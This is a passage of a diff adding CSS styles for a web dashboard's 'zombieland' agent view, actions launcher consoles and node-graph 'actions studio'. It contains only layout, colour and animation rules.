8px; + font-size: 12px; + cursor: pointer; +} + +.zombieland-container .quick-cmd:hover { + box-shadow: 0 0 0 1px var(--c-border) inset, 0 8px 22px var(--glow-weak); +} + +.zombieland-container .metric { + text-align: center; +} + +.zombieland-container .metric-value { + font-size: 32px; + font-weight: 800; + color: var(--acid); +} + +.zombieland-container .metric-label { + font-size: 12px; + color: var(--muted); + margin-top: 4px; +} + +.zombieland-container .file-item { + padding: 8px; + display: flex; + align-items: center; + gap: 8px; + cursor: pointer; + border-radius: 10px; +} + +.zombieland-container .file-item:hover { + background: var(--c-panel); +} + +.zombieland-container .file-item.directory { + color: var(--accent-2); +} + +.zombieland-container .modal_zombie { + background: var(--grad-modal); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 40px 120px var(--glow-strong), inset 0 0 0 1px var(--glow-strong); +} + +.zombieland-container .modal-content { + background: transparent; + border: none; + border-radius: 12px; + padding: 24px; + max-width: 720px; + width: 90%; + max-height: 80vh; + overflow-y: auto; +} + +@keyframes zl-pulseGreen { + 0% { + box-shadow: 0 0 0 0 var(--glow-strong); + } + + 70% { + box-shadow: 0 0 0 12px rgba(0, 0, 0, 0); + } + + 100% { + box-shadow: 0 0 0 0 rgba(0, 0, 0, 0); + } +} + +.zombieland-container .agent-card.pulse { + animation: zl-pulseGreen 1s ease; +} + +.zombieland-container .agent-stale-yellow { + border-color: color-mix(in oklab, var(--warning) 75%, transparent) !important; +} + +.zombieland-container .agent-stale-orange { + border-color: color-mix(in oklab, var(--warning) 95%, var(--danger) 10%); +} + +.zombieland-container .agent-stale-red { + border-color: var(--danger) !important; +} + +.zombieland-container .ecg { + position: relative; + width: 100%; + height: 42px; + overflow: hidden; + margin-top: 8px; + background: linear-gradient(transparent 23px, rgba(255, 255, 255, .04) 23px, transparent 24px); +} + +.zombieland-container .ecg-wrapper { + position: absolute; + top: 0; + left: 0; + height: 100%; + width: 600px; + display: flex; + will-change: transform; + animation: zl-ecgScroll linear infinite; +} + +@keyframes zl-ecgScroll { + from { + transform: translateX(0); + } + + to { + transform: translateX(-200px); + } +} + +.zombieland-container .ecg svg { + width: 200px; + height: 100%; + flex-shrink: 0; +} + +.zombieland-container .ecg path { + fill: none; + stroke: currentColor; + stroke-width: 2; + stroke-linecap: round; + stroke-linejoin: round; + filter: drop-shadow(0 0 2px currentColor) drop-shadow(0 0 6px currentColor); + shape-rendering: geometricPrecision; +} + +.zombieland-container .ecg.green { + color: var(--ok); +} + +.zombieland-container .ecg.yellow { + color: var(--warning); +} + +.zombieland-container .ecg.orange { + color: color-mix(in oklab, var(--warning) 70%, var(--danger) 20%); +} + +.zombieland-container .ecg.red { + color: var(--danger); +} + +.zombieland-container .ecg.flat .ecg-wrapper { + animation: none; +} + +.zombieland-container .ecg:not(.flat)::after { + content: ""; + position: absolute; + inset: 0; + background: linear-gradient(0deg, transparent, rgba(255, 255, 255, .03), transparent); + animation: zl-ecgFlicker 2.3s ease-in-out infinite alternate; + pointer-events: none; +} + +@keyframes zl-ecgFlicker { + from { + opacity: .2; + transform: translateY(0); + } + + to { + opacity: .35; + transform: translateY(-0.5px); + } +} + +.zombieland-container .console-line:has(.console-type.tx) .console-content { + color: var(--ok); +} + +.zombieland-container .console-line:has(.console-type.rx) .console-content { + color: var(--accent-2); +} + +.zombieland-container .console-output { + background: var(--grad-console); + border: 1px solid var(--c-border-strong); +} + +.zombieland-container .toolbar { + flex-wrap: wrap; + gap: 8px; +} + +.zombieland-container .quickbar { + overflow-x: auto; + -webkit-overflow-scrolling: touch; + scrollbar-width: thin; + padding-bottom: 4px; +} + +.zombieland-container .term-controls { + flex-wrap: wrap; +} + +.zombieland-container .term-controls .input, +.zombieland-container .term-controls .select { + min-width: 140px; +} + +@media (max-width: 768px) { + .zombieland-container .stats-grid { + grid-template-columns: 1fr !important; + } + + .zombieland-container .term-controls { + gap: 8px; + } + + .zombieland-container .term-controls .input { + flex: 1 1 100%; + } + + .zombieland-container .term-controls .select { + flex: 1 1 45%; + } + + .zombieland-container .term-controls .btn { + flex: 1 1 45%; + } +} + +.zombieland-container .console-type.info { + background: color-mix(in oklab, var(--accent-2) 14%, var(--c-panel)); + color: var(--accent-2); + border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); +} + +.zombieland-container .console-type.warning { + background: color-mix(in oklab, var(--warning) 12%, var(--c-panel)); + color: var(--warning); + border-color: color-mix(in oklab, var(--warning) 60%, transparent); +} + +.zombieland-container .console-type.error { + background: color-mix(in oklab, var(--danger) 12%, var(--c-panel)); + color: var(--danger); + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.zombieland-container .console-type.success { + background: color-mix(in oklab, var(--ok) 12%, var(--c-panel)); + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.zombieland-container .console-line:has(.console-type.info) .console-content { + color: var(--accent-2); +} + +.zombieland-container .console-line:has(.console-type.warning) .console-content { + color: var(--warning); +} + +.zombieland-container .console-line:has(.console-type.error) .console-content { + color: var(--danger); +} + +.zombieland-container .console-line:has(.console-type.success) .console-content { + color: var(--ok); +} + +.zombieland-container #logsOutput { + background: var(--grad-console) !important; + border: 1px solid var(--c-border-strong); + border-radius: 10px; + color: var(--ink); + padding: 12px; +} + +.zombieland-container #logsOutput .log-line { + display: flex; + align-items: flex-start; + gap: 8px; + font: var(--font-mono); + margin: 4px 0; +} + +.zombieland-container #logsOutput .log-time { + color: var(--muted); + font-size: 11px; +} + +.zombieland-container #logsOutput .log-text { + flex: 1; + word-break: break-word; +} + +.zombieland-container #logsOutput .console-type { + padding: 2px 6px; + border-radius: 999px; + font-size: 11px; + font-weight: 700; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); +} + +.zombieland-container .stats-grid { + gap: 8px !important; + margin-bottom: 14px; +} + +.zombieland-container .stats-grid .panel { + padding: 10px 12px; +} + +.zombieland-container .stats-grid .metric-value { + font-size: 22px; +} + +.zombieland-container .stats-grid .metric-label { + font-size: 11px; + margin-top: 2px; +} + +@media (max-width:768px) { + .zombieland-container .stats-grid { + gap: 8px !important; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ACTIONS LAUNCHER (.actions-container) + ═══════════════════════════════════════════════════════════════════════ */ +.actions-container #actionsLauncher { + min-height: 0; + height: 100%; + display: grid; + grid-template-columns: 1fr; + gap: var(--gap-3, 10px); +} + +.actions-container .panel { + background: var(--grad-card, var(--c-panel)); + border: 1px solid var(--c-border); + border-radius: var(--radius, 14px); + box-shadow: var(--elev, 0 10px 30px var(--acid-1a, #00ff9a1a), inset 0 0 0 1px var(--acid-22, #00ff9a22)); + overflow: clip; +} + +.actions-container .sideheader { + padding: 10px 10px 6px; + border-bottom: 1px dashed var(--c-border); +} + +.actions-container .al-side-meta { + display: flex; + align-items: center; + justify-content: space-between; + gap: 8px; + margin-bottom: 8px; +} + +.actions-container .al-side-meta .sidetitle { + color: var(--acid); + font-weight: 800; + letter-spacing: .05em; +} + +.actions-container .tabs-container { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.actions-container .tab-btn { + all: unset; + cursor: pointer; + padding: 6px 10px; + border-radius: 10px; + background: var(--c-pill-bg); + border: 1px solid var(--c-border); + color: var(--muted); +} + +.actions-container .tab-btn.active { + background: var(--grad-chip-selected); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); + outline-offset: 0; +} + +.actions-container .al-search { + display: flex; + gap: 10px; + padding: 10px; +} + +.actions-container .al-input { + flex: 1; + background: var(--c-panel); + border: 1px solid var(--c-border-strong); + color: var(--ink); + padding: 10px 12px; + border-radius: var(--control-r, 10px); + font: inherit; +} + +.actions-container .al-input:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; +} + +.actions-container .sidecontent { + padding: 8px; + overflow: auto; +} + +.actions-container .al-list { + display: flex; + flex-direction: column; + gap: 10px; + padding-right: 4px; +} + +.actions-container .al-row { + position: relative; + display: grid; + grid-template-columns: 84px 1fr; + gap: 12px; + padding: 10px; + background: var(--c-panel-2); + border-radius: 12px; + cursor: pointer; + transition: transform .15s ease, border-color .15s ease, box-shadow .15s ease; +} + +.actions-container .al-row:hover { + transform: translateY(-1px); + border-color: color-mix(in oklab, var(--accent) 25%, var(--c-border)); + box-shadow: 0 10px 26px var(--glow-weak); +} + +.actions-container .al-row.selected { + outline: 2px solid color-mix(in oklab, var(--acid) 35%, transparent); + box-shadow: 0 12px 30px color-mix(in oklab, var(--acid) 25%, transparent); +} + +.actions-container .al-row .ic { + width: 84px; + height: 84px; + display: grid; + place-items: center; + border-radius: 12px; + background: var(--c-panel); + overflow: hidden; +} + +.actions-container .ic-img { + width: 70px; + height: 70px; + object-fit: cover; + display: block; +} + +.actions-container .al-row>div:nth-child(2) { + min-width: 0; + display: flex; + flex-direction: column; + gap: 4px; +} + +.actions-container .name { + font-weight: 800; + color: var(--acid-2); + font-size: 14px; + line-height: 1.2; +} + +.actions-container .desc { + color: var(--muted); + font-size: 13px; + line-height: 1.25; +} + +.actions-container .al-row .chip { + position: absolute; + top: 6px; + left: calc(84px/2 + 10px); + transform: translateX(-50%); + padding: 2px 8px; + border-radius: 999px; + border: 1px solid var(--c-border); + background: var(--c-chip-bg); + color: var(--muted); + font-size: 11px; + line-height: 1; + pointer-events: none; +} + +.actions-container .chip.ok { + color: var(--ok); + border-color: color-mix(in oklab, var(--ok) 60%, transparent); +} + +.actions-container .chip.err { + color: var(--danger); + border-color: color-mix(in oklab, var(--danger) 60%, transparent); +} + +.actions-container .chip.run { + color: var(--acid); + border-color: color-mix(in oklab, var(--acid) 60%, transparent); +} + +.actions-container .center { + display: flex; + flex-direction: column; + min-height: 0; + height: 100%; +} + +.actions-container .toolbar2 { + display: flex; + align-items: center; + gap: 10px; + padding: 10px; + border-bottom: 1px solid var(--c-border); + background: var(--c-panel); + flex-wrap: wrap; +} + +.actions-container .seg { + display: flex; + border-radius: 10px; + overflow: hidden; + border: 1px solid var(--c-border); +} + +.actions-container .seg button { + background: var(--c-panel); + color: var(--muted); + padding: 8px 10px; + border: none; + border-right: 1px solid var(--c-border); + cursor: pointer; + font: inherit; +} + +.actions-container .seg button:last-child { + border-right: none; +} + +.actions-container .seg button.active { + color: var(--ink-invert); + background: linear-gradient(90deg, var(--acid-2), color-mix(in oklab, var(--acid-2) 60%, white)); +} + +.actions-container .al-btn { + background: var(--c-btn); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r, 10px); + padding: 8px 12px; + display: inline-flex; + align-items: center; + gap: 8px; + cursor: pointer; + transition: .18s; + box-shadow: var(--elev); + font: inherit; +} + +.actions-container .al-btn:hover { + transform: translateY(-1px); + box-shadow: var(--shadow-hover); +} + +.actions-container .al-btn.warn { + background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 28%, var(--c-btn)), var(--c-btn)); + color: var(--warning); + border-color: color-mix(in oklab, var(--warning) 55%, var(--c-border)); +} + +.actions-container .multiConsole { + flex: 1; + padding: 10px; + display: grid; + gap: 10px; + height: 100%; + grid-auto-flow: row; + grid-auto-rows: 1fr; + grid-template-rows: repeat(var(--rows, 1), 1fr); +} + +.actions-container .split-1 { + grid-template-columns: 1fr; +} + +.actions-container .split-2 { + grid-template-columns: 1fr 1fr; +} + +.actions-container .split-3 { + grid-template-columns: 1fr 1fr 1fr; +} + +.actions-container .split-4 { + grid-template-columns: 1fr 1fr; +} + +.actions-container .pane { + position: relative; + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-console); + display: flex; + flex-direction: column; + box-shadow: inset 0 0 0 1px var(--c-border-muted); +} + +.actions-container .paneHeader { + display: grid; + grid-template-columns: 1fr auto; + align-items: center; + gap: 10px; + padding: 8px 10px; + border-bottom: 1px solid var(--c-border); + background: linear-gradient(180deg, color-mix(in oklab, var(--acid-2) 8%, transparent), transparent); +} + +.actions-container .paneTitle { + display: grid; + grid-template-columns: auto auto 1fr; + align-items: center; + gap: 10px; + min-width: 0; +} + +.actions-container .paneTitle .dot { + width: 8px; + height: 8px; + border-radius: 50%; + flex: 0 0 auto; +} + +.actions-container .paneIcon { + width: 70px; + height: 70px; + border-radius: 6px; + object-fit: cover; + opacity: .95; +} + +.actions-container .titleBlock { + display: flex; + flex-direction: column; + gap: 4px; + min-width: 0; +} + +.actions-container .titleLine strong { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.actions-container .metaLine { + display: flex; + flex-wrap: wrap; + gap: 6px; +} + +.actions-container .metaLine .chip { + border: 1px solid var(--c-border-strong); + background: var(--c-chip-bg); + color: var(--muted); + padding: 3px 8px; + border-radius: 999px; +} + +.actions-container .paneBtns { + display: flex; + flex-wrap: wrap; + gap: 8px; + justify-content: flex-end; +} + +.actions-container .paneBtns .al-btn { + padding: 6px 8px; + font-size: .9rem; +} + +.actions-container .paneLog { + flex: 1; + overflow: auto; + padding: 6px 8px; + font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; + font-size: .92rem; +} + +.actions-container .logline { + white-space: pre-wrap; + word-break: break-word; + padding: 4px 6px; + line-height: 1.32; + color: var(--ink); +} + +.actions-container .logline.info { + color: #bfefff; +} + +.actions-container .logline.ok { + color: #9ff7c5; +} + +.actions-container .logline.warn { + color: #ffd27a; +} + +.actions-container .logline.err { + color: #ff99b3; +} + +.actions-container .logline.dim { + color: #6a8596; +} + +.actions-container .paneHighlight { + box-shadow: 0 0 0 2px var(--acid-2), 0 0 24px color-mix(in oklab, var(--acid-2) 55%, transparent) inset, 0 0 40px color-mix(in oklab, var(--acid-2) 35%, transparent); + animation: al-hi 900ms ease-out 1; +} + +@keyframes al-hi { + 0% { + transform: scale(1); + } + + 50% { + transform: scale(1.01); + } + + 100% { + transform: scale(1); + } +} + +.actions-container .section { + padding: 12px; + border-bottom: 1px dashed var(--c-border); +} + +.actions-container .h { + font-weight: 800; + letter-spacing: .5px; + color: var(--acid-2); +} + +.actions-container .sub { + color: var(--muted); + font-size: .9rem; +} + +.actions-container .builder { + padding: 12px; + display: grid; + gap: 12px; +} + +.actions-container .field { + display: grid; + gap: 6px; +} + +.actions-container .label { + font-size: .85rem; + color: var(--muted); +} + +.actions-container .ctl, +.actions-container .select, +.actions-container .range { + background: var(--c-panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: var(--control-r, 10px); + padding: 10px 12px; + font: inherit; +} + +.actions-container .ctl:focus, +.actions-container .select:focus { + outline: none; + box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; +} + +.actions-container .chips { + display: flex; + gap: 8px; + flex-wrap: wrap; + padding: 10px; +} + +.actions-container .chip2 { + padding: 6px 10px; + border-radius: 999px; + background: var(--c-chip-bg); + border: 1px solid var(--c-border-hi); + cursor: pointer; + transition: .18s; +} + +.actions-container .chip2:hover { + box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); +} + +@media (max-width: 860px) { + .actions-container #actionsLauncher { + grid-template-columns: 1fr; + } + + .actions-container .toolbar2 { + display: none !important; + } + + .actions-container .paneHeader { + grid-template-columns: 1fr; + row-gap: 8px; + } + + .actions-container .paneBtns { + justify-content: flex-start; + } + + .actions-container .paneBtns .al-btn { + padding: 5px 6px; + font-size: .85rem; + } +} + +/* ═══════════════════════════════════════════════════════════════════════ + ACTIONS STUDIO (.studio-container) + ═══════════════════════════════════════════════════════════════════════ */ +.studio-container { + --st-bg: #060c12; + --st-panel: #0a1520; + --st-card: #0b1c2a; + --st-card2: #0d2132; + --st-text: #e9f3ff; + --st-muted: #9fb4c9; + --st-border: #203448; + --st-neon: #66ffd1; + --st-neon2: #57c9ff; + --st-ok: #30db98; + --st-bad: #ff6b7c; + --st-warn: #ffd166; + --st-edge: #2a557a; + --st-global: #7040ff; + --st-host: #25be7b; + --st-tap: 44px; + --studio-header-h: 52px; + background: var(--st-bg); + color: var(--st-text); + font: 14px/1.35 Inter, system-ui, -apple-system, Segoe UI, Roboto, sans-serif; + overflow: hidden; + height: 100%; +} + +.studio-container #app { + display: grid; + grid-template-rows: auto 1fr auto; + height: 100%; +} + +.studio-container header { + display: flex; + align-items: center; + gap: .5rem; + padding: .6rem .8rem; + min-height: var(--studio-header-h); + background: color-mix(in oklab, var(--st-panel) 95%, #050b12 5%); + border-bottom: 1px solid var(--st-border); + backdrop-filter: blur(8px); + z-index: 20; +} + +.studio-container .logo { + width: 22px; + height: 22px; + border-radius: 6px; + background: conic-gradient(from 210deg, var(--st-neon), var(--st-neon2)); + box-shadow: 0 0 32px rgba(90, 255, 200, .22); +} + +.studio-container h1 { + font-size: 15px; + letter-spacing: .3px; +} + +.studio-container .sp { + flex: 1; +} + +.studio-container .btn { + display: inline-flex; + align-items: center; + justify-content: center; + gap: .45rem; + padding: .48rem .7rem; + border-radius: 12px; + background: #0c2132; + border: 1px solid var(--st-border); + color: var(--st-text); + cursor: pointer; + font-size: 13px; + transition: all .2s; + min-height: var(--st-tap); +} + +.studio-container .btn:hover { + transform: translateY(-1px); + background: #0e2437; +} + +.studio-container .btn:active { + transform: scale(.98); +} + +.studio-container .btn.primary { + background: linear-gradient(180deg, #0e2f25, #0b241d); + border-color: #1d5a45; + color: var(--st-neon); +} + +.studio-container .btn.icon { + width: var(--st-tap); + padding: 0; +} + +.studio-container main { + display: grid; + grid-template-columns: 320px 1fr 360px; + gap: 8px; + padding: 8px; + min-height: 0; + height: 100%; +} + +.studio-container .studio-side-backdrop { + display: none; + position: fixed; + inset: var(--h-topbar, 56px) 0 var(--h-bottombar, 56px) 0; + z-index: 2150; + border: 0; + margin: 0; + padding: 0; + background: rgba(0, 0, 0, .52); +} + +@media (max-width:1100px) { + .studio-container { + --studio-header-h: 46px; + } + + .studio-container header { + min-height: var(--studio-header-h); + padding: 6px 8px; + gap: 6px; + position: relative; + z-index: 2300; + } + + .studio-container h1 { + font-size: 14px; + max-width: 34vw; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + } + + .studio-container .logo { + width: 18px; + height: 18px; + } + + .studio-container main { + grid-template-columns: 1fr; + grid-template-rows: 1fr auto; + gap: 8px; + height: auto; + } + + .studio-container #left, + .studio-container #right { + position: fixed; + z-index: 2200; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + width: min(90vw, 420px); + max-width: 420px; + transition: transform .25s ease, opacity .25s; + opacity: .98; + } + + .studio-container #left { + left: 0; + transform: translateX(-120%); + } + + .studio-container #left.open { + transform: translateX(0); + } + + .studio-container #right { + right: 0; + transform: translateX(120%); + } + + .studio-container #right.open { + transform: translateX(0); + } + + .studio-container #btnPal, + .studio-container #btnIns { + position: fixed; + top: auto; + bottom: calc(var(--h-bottombar, 56px) + 14px); + z-index: 82; + width: 38px; + height: 38px; + min-width: 38px; + min-height: 38px; + padding: 0; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: color-mix(in oklab, var(--c-panel) 94%, transparent); + color: var(--ink); + box-shadow: 0 6px 16px rgba(0, 0, 0, .28); + opacity: .88; + } + + .studio-container #btnPal { + left: 10px; + } + + .studio-container #btnIns { + right: 10px; + } + + .studio-container #btnPal:hover, + .studio-container #btnIns:hover { + opacity: 1; + transform: translateY(-1px); + } + + .studio-container #btnPal, + .studio-container #btnIns, + .studio-container #btnAutoLayout, + .studio-container #btnRepel, + .studio-container #btnHelp, + .studio-container #btnApply { + display: none; + } + + .studio-mobile-dock { + display: flex; + } + + .studio-container footer { + display: none; + } + + .studio-toast { + bottom: calc(var(--h-bottombar, 56px) + 104px); + } + + .studio-container .studio-side-backdrop.show { + display: block; + } +} + +.studio-container #left { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 12px; + display: flex; + flex-direction: column; + min-height: 0; + overflow: hidden; +} + +.studio-container .tabs { + display: flex; + gap: 4px; + padding: 8px; + border-bottom: 1px solid var(--st-border); +} + +.studio-container .tab { + padding: 6px 12px; + border-radius: 10px; + background: var(--st-card); + border: 1px solid transparent; + cursor: pointer; + font-size: 13px; +} + +.studio-container .tab.active { + background: var(--st-card2); + border-color: var(--st-neon2); + color: var(--st-neon2); +} + +.studio-container .tab-content { + flex: 1; + padding: 10px; + overflow: auto; + display: none; +} + +.studio-container .tab-content.active { + display: block; +} + +.studio-container h2 { + margin: .2rem 0 .6rem; + font-size: 12px; + color: var(--st-muted); + letter-spacing: .2px; + text-transform: uppercase; +} + +.studio-container .search-row { + position: relative; + margin-bottom: 10px; +} + +.studio-container input.search { + width: 100%; + background: #0a1f2e; + color: var(--st-text); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: .6rem 2.1rem .6rem .7rem; + margin-bottom: 0; + font-size: 14px; +} + +.studio-container .search-clear { + position: absolute; + right: 6px; + top: 50%; + transform: translateY(-50%); + width: 26px; + height: 26px; + border-radius: 999px; + border: 1px solid var(--st-border); + background: #0f2536; + color: var(--st-muted); + cursor: pointer; + display: none; +} + +.studio-container .search-clear.show { + display: inline-flex; + align-items: center; + justify-content: center; +} + +.studio-container .search-clear:hover { + color: var(--st-text); + border-color: color-mix(in oklab, var(--st-neon2) 45%, var(--st-border)); +} + +.studio-container .palette-meta { + display: flex; + gap: 6px; + flex-wrap: wrap; + margin-bottom: 10px; +} + +.studio-container .palette-meta .pill { + font-size: 10px; + padding: .2rem .48rem; +} + +.studio-container .pitem { + border: 1px solid var(--st-border); + background: #0a1b2a; + border-radius: 12px; + padding: 10px; + display: flex; + justify-content: space-between; + gap: 8px; + align-items: center; + user-select: none; + margin-bottom: 6px; + cursor: grab; + transition: all .2s; +} + +.studio-container .pitem:active { + cursor: grabbing; +} + +.studio-container .pitem:hover { + transform: translateX(2px); + background: #0c1e2d; +} + +.studio-container .pitem.placed { + opacity: .55; +} + +.studio-container .pmeta { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .padd { + border: 1px solid var(--st-border); + background: #0b2437; + border-radius: 10px; + padding: .35rem .6rem; + font-size: 12px; + cursor: pointer; +} + +.studio-container .padd:hover { + background: var(--st-neon2); + color: var(--st-bg); + transform: scale(1.05); +} + +.studio-container .action-icon { + width: 24px; + height: 24px; + border-radius: 6px; + margin-right: 8px; + object-fit: cover; +} + +.studio-container .host-card { + border: 1px solid var(--st-border); + background: linear-gradient(135deg, #0b1e2c, #0a1b2a); + border-radius: 12px; + padding: 10px; + margin-bottom: 6px; + cursor: grab; +} + +.studio-container .host-card:active { + cursor: grabbing; +} + +.studio-container .host-card.simulated { + border-color: var(--st-neon2); + background: linear-gradient(135deg, #0b2233, #0a1f2e); +} + +.studio-container .host-card .row { + display: flex; + gap: 6px; + flex-wrap: wrap; + align-items: center; + font-size: 12px; + margin-top: 4px; +} + +.studio-container .host-card .row .btn { + padding: .25rem .5rem; + font-size: 11px; +} + +.studio-container #center { + position: relative; + border: 1px solid var(--st-border); + border-radius: 12px; + background: radial-gradient(1200px 800px at 0% 0%, #0a1827 0%, #060c12 60%), #060c12; + overflow: hidden; + touch-action: none; +} + +.studio-container #bggrid { + position: absolute; + inset: 0; + background-image: linear-gradient(#0f2b3f 1px, transparent 1px), linear-gradient(90deg, #0f2b3f 1px, transparent 1px); + background-size: 40px 40px; + opacity: .18; + pointer-events: none; +} + +.studio-container #canvas { + position: absolute; + left: 0; + top: 0; + transform-origin: 0 0; +} + +.studio-container #nodes { + position: absolute; + left: 0; + top: 0; + width: 4000px; + height: 3000px; +} + +.studio-container #links { + position: absolute; + left: 0; + top: 0; + width: 4000px; + height: 3000px; + overflow: visible; + pointer-events: auto; +} + +.studio-container #controls { + position: absolute; + right: 10px; + bottom: 10px; + display: flex; + flex-direction: column; + gap: 6px; + z-index: 5; +} + +.studio-container .canvas-hint { + position: absolute; + left: 10px; + right: 72px; + bottom: 10px; + z-index: 6; + display: flex; + align-items: center; + gap: 8px; + padding: 8px 10px; + border-radius: 12px; + border: 1px solid var(--st-border); + background: color-mix(in oklab, #07111a 78%, transparent); + color: var(--st-muted); + backdrop-filter: blur(8px); + box-shadow: 0 6px 18px rgba(0, 0, 0, .25); +} + +.studio-container .canvas-hint strong { + color: var(--st-text); + font-size: 12px; +} + +.studio-container .canvas-hint span { + font-size: 12px; +} + +.studio-container .canvas-hint.hidden { + display: none; +} + +.studio-container .canvas-hint .btn.icon { + margin-left: auto; + width: 28px; + min-height: 28px; + border-radius: 999px; +} + +.studio-container .ctrl { + width: 44px; + height: 44px; + border-radius: 12px; + border: 1px solid var(--st-border); + background: #0a1f2e; + color: var(--st-text); + cursor: pointer; + transition: all .2s; +} + +.studio-container .ctrl:hover { + background: #0c2437; + transform: scale(1.05); +} + +.studio-container .ctrl:active { + transform: scale(.97); +} + +.studio-container .node { + position: absolute; + min-width: 240px; + max-width: 320px; + color: var(--st-text); + background: linear-gradient(180deg, var(--st-card) 0%, var(--st-card2) 100%); + border: 2px solid var(--st-border); + border-radius: 12px; + box-shadow: 0 12px 32px rgba(0, 0, 0, .28); + transition: transform .2s, box-shadow .2s, min-height .2s; + cursor: grab; +} + +.studio-container .node:active { + cursor: grabbing; +} + +.studio-container .node:hover { + transform: translateY(-2px); + box-shadow: 0 16px 40px rgba(0, 0, 0, .4); +} + +.studio-container .node.sel { + outline: 2px solid var(--st-neon); + outline-offset: 2px; +} + +.studio-container .nhdr { + display: flex; + align-items: center; + justify-content: space-between; + gap: 6px; + padding: 8px 10px; + border-bottom: 1px solid var(--st-border); + background: rgba(0, 0, 0, .2); + border-radius: 10px 10px 0 0; +} + +.studio-container .nname { + font-weight: 700; + font-size: 13px; + letter-spacing: .2px; + display: flex; + align-items: center; + gap: 6px; +} + +.studio-container .node-icon { + width: 20px; + height: 20px; + border-radius: 4px; + object-fit: cover; +} + +.studio-container .badge { + font-size: 11px; + color: #97e8ff; + background: #0b2b3f; + border: 1px solid #214b67; + padding: .14rem .45rem; + border-radius: 999px; +} + +.studio-container .nbody { + padding: 8px 10px; + display: grid; + gap: 6px; + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .row { + display: flex; + gap: 8px; + align-items: center; + flex-wrap: wrap; +} + +.studio-container .k { + color: #7fa6c4; +} + +.studio-container .v { + color: var(--st-text); +} + +.studio-container .nclose { + border: none; + background: transparent; + color: #9fb4c9; + font-size: 16px; + cursor: pointer; + opacity: 0; + transition: opacity .2s; +} + +.studio-container .node:hover .nclose { + opacity: 1; +} + +.studio-container .host .badge { + color: #9effc5; + background: #0f2a22; + border-color: #1f604b; +} + +.studio-container .host { + background: linear-gradient(180deg, #0c241b, #0d2732); + border-color: var(--st-host); +} + +.studio-container .global .badge { + color: #e6ddff; + background: #1b1335; + border-color: #4a3cb0; +} + +.studio-container .global { + border-color: var(--st-global); +} + +.studio-container .bjorn { + min-width: 120px; + max-width: 140px; + border-radius: 12px; + overflow: hidden; +} + +.studio-container .bjorn .nhdr { + border-bottom: none; + background: linear-gradient(180deg, #1a1a2e, #16213e); +} + +.studio-container .rail { + position: absolute; + top: 10px; + bottom: 10px; + width: 18px; + border-radius: 10px; + border: 1px solid var(--st-border); + background: #0a1f2e; + display: flex; + flex-direction: column; + align-items: center; + gap: 6px; + padding: 6px; + cursor: crosshair; + z-index: 3; +} + +.studio-container .rail.left { + left: -10px; +} + +.studio-container .rail.right { + right: -10px; + background: #0f2a22; + border-color: #1f604b; +} + +.studio-container .port { + width: 10px; + height: 10px; + border: 2px solid #0a1120; + border-radius: 50%; + background: var(--st-neon2); + box-shadow: 0 0 10px rgba(88, 201, 255, .5); +} + +.studio-container .rail.right .port { + background: var(--st-neon); +} + +.studio-container .port.add { + opacity: .5; + outline: 1px dashed #31597b; +} + +.studio-container svg { + pointer-events: none; +} + +.studio-container .path { + fill: none; + stroke: var(--st-edge); + stroke-width: 2.5; + opacity: .95; + pointer-events: stroke; + cursor: pointer; + transition: all .2s; +} + +.studio-container .path:hover { + stroke-width: 3.5; + opacity: 1; +} + +.studio-container .path.ok { + stroke: var(--st-ok); +} + +.studio-container .path.bad { + stroke: var(--st-bad); +} + +.studio-container .path.req { + stroke: var(--st-neon2); +} + +.studio-container .path.flow { + stroke-dasharray: 6 9; + animation: as-flow 1.5s linear infinite; +} + +@keyframes as-flow { + to { + stroke-dashoffset: -60; + } +} + +.studio-container .edgelabel { + font-size: 11px; + fill: #d7ebff; + paint-order: stroke; + stroke: #0c1724; + stroke-width: 3px; + cursor: pointer; + pointer-events: all; +} + +.studio-container .edgelabel.bad { + fill: #ffd4da; +} + +.studio-container .edgelabel.ok { + fill: #c8ffe7; +} + +.studio-container .edgelabel.req { + fill: #d7e2ff; +} + +.studio-container #right { + background: var(--st-panel); + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 10px; + display: flex; + flex-direction: column; + gap: 10px; + min-height: 0; + overflow: auto; +} + +.studio-container .section { + background: #0b1d2b; + border: 1px solid var(--st-border); + border-radius: 12px; + padding: 10px; +} + +.studio-container .section h3 { + margin: .2rem 0 .6rem; + font-size: 13px; + color: var(--st-muted); +} + +.studio-container label { + display: flex; + flex-direction: column; + gap: .3rem; + margin: .45rem 0; +} + +.studio-container label span { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container input, +.studio-container select, +.studio-container textarea { + background: #0a1f2e; + color: var(--st-text); + border: 1px solid var(--st-border); + border-radius: 10px; + padding: .6rem .65rem; + font: inherit; + outline: none; + transition: all .2s; + min-height: 40px; +} + +.studio-container input:focus, +.studio-container select:focus, +.studio-container textarea:focus { + border-color: var(--st-neon2); + box-shadow: 0 0 0 2px rgba(87, 201, 255, 0.2); +} + +.studio-container textarea { + min-height: 86px; + resize: vertical; +} + +.studio-container .small { + font-size: 12px; + color: var(--st-muted); +} + +.studio-container .pill { + display: inline-flex; + gap: 6px; + align-items: center; + padding: .14rem .5rem; + 